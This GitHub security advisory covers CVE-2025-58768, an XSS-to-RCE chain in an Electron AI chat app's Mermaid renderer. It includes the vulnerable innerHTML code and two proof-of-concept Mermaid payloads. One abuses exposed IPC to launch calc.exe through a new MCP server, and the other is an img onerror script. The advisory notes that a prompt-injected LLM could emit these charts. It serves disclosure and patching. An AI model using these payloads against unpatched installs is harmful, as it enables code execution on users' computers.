Skip to content

Mermaid rendering has XSS leading to RCE

Critical
zerob13 published GHSA-f7q5-vc93-wp6j Sep 9, 2025

Package

No package listed

Affected versions

<=0.3.4

Patched versions

0.3.5

Description

Summary

The exploit chain is consistent with the report GHSA-hqr4-4gfc-5p2j, executing arbitrary JavaScript code via XSS and arbitrary commands via exposed IPC.
This vulnerability is primarily caused by a failure to fully address the existing XSS issue in the project, leading to another exploit chain.

Details

In the Mermaid chart rendering component, there is a risky operation of directly using innerHTML to set user content.
src/renderer/src/components/artifacts/MermaidArtifact.vue

mermaidRef.value.innerHTML = props.block.content
if (mermaidRef.value) {
      mermaidRef.value.innerHTML = `<div class="text-destructive p-4">渲染失败: ${error instanceof Error ? error.message : '未知错误'}</div>`
    }

Therefore, any malicious content rendered via Mermaid will directly trigger the exploit chain, leading to command execution.
In the example below, it's triggered via Click, which actually allows for direct execution.

PoC

graph LR
    A[Click Me] --> B{XSS};
    style A fill:#f9f,stroke:#333,stroke-width:2px
    click A "javascript:window.electron.ipcRenderer.invoke('presenter:call','mcpPresenter','addMcpServer','test6',{command:'calc.exe',args:[],env:{},descriptions:'PoC',autoApprove:['all'],type:'stdio'}).then(()=>window.electron.ipcRenderer.invoke('presenter:call','mcpPresenter','startServer','test6'))" "XSS Link";

Through command injection or other methods, when LLM generates a Mermaid chart with malicious content, clicking Click Me can trigger the RCE content to pop up the calculator.
image
Of course, this proof-of-concept can also be modified to trigger the vulnerability directly by rendering without requiring click processing. A simple verification code is as follows:

graph LR
A[<img src=x onerror=alert('XSS')>] --> B;
style A fill:#f9f,stroke:#333,stroke-width:2px
image It is triggered directly when the chart is generated, and it will also be triggered every time the mermaid content is clicked.

Impact

Resulting in arbitrary code execution on the user's computer

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

CVE ID

CVE-2025-58768

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

Credits